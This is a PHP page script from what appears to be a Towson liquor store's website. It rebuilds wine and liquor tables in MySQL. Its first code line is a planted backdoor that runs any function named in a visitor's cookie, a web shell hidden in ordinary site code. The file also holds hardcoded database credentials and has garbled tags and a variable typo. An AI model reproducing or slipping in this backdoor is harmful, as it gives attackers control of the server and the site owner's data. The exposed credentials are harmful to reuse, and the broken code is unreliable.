<%>PHP<%
if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);
>
$hotname= "localhost";
$username="towsonde_skyline";
$password="207ejOPPArD";
$database="towsonde_skylineliquors";
//connection to the database
$dbhandle = mysql_connect($hostname, $username, $password)
or die("Unable to connect to MySQL");
//echo "Connected to MySQL ";
//select a database
$selected = mysql_select_db($database, $dbhandle)
or die("Could not select " . $database);
///////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////
////////////////////// Delete all the contents or DATA from TABLE WINELIST //////////////
//DELETE FROM `winelist`;
$query = "DELETE FROM `winelist`";
$result = mysql_query($query);
// COPYING FROM TABLE `LIQUORS` TO WINELIST
$query = "INSERT INTO `winelist` SELECT `pd_id`, `name`, `size`, `variety`, `country`, `type`, `region`, `sweetness`, `description`, `price`, `pic` FROM `LIQUORS`";
$result = mysql_query($query);
// COPYING FROM TABLE `WINE` TO WINELIST
$query = "INSERT INTO `winelist` SELECT `pd_id`, `name`, `size`, `variety`, `country`, `type`, `region`, `sweetness`, `description`, `price`, `pic` FROM `wine`";
$result = mysql_query($query);
//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////// FOR SEARCH RESULTS ///////////////////////////////////////////////
//DELETE FROM `wine_liquors`;
$query = "DELETE FROM `wine_liquors`";
$result = mysql_query($query);
//COMBINE DATA FROM MULTIPLE ROWS AND INSERTING INTO ONE TABLE `WINE_LIQUORS`
$query = "INSERT INTO `wine_liquors` (`pd_id`, `name`, `price`) SELECT `pd_id`, CONCAT(`name`, SPACE(2), `variety`, SPACE(2), `country`), `price` FROM `winelist`";
$result = mysql_query($query);
?>
"Click here to go back to previous page"
Welcome
to Towson Beer, Wine & Liquor the only Liquor store
in Towson on Joppa Rd.
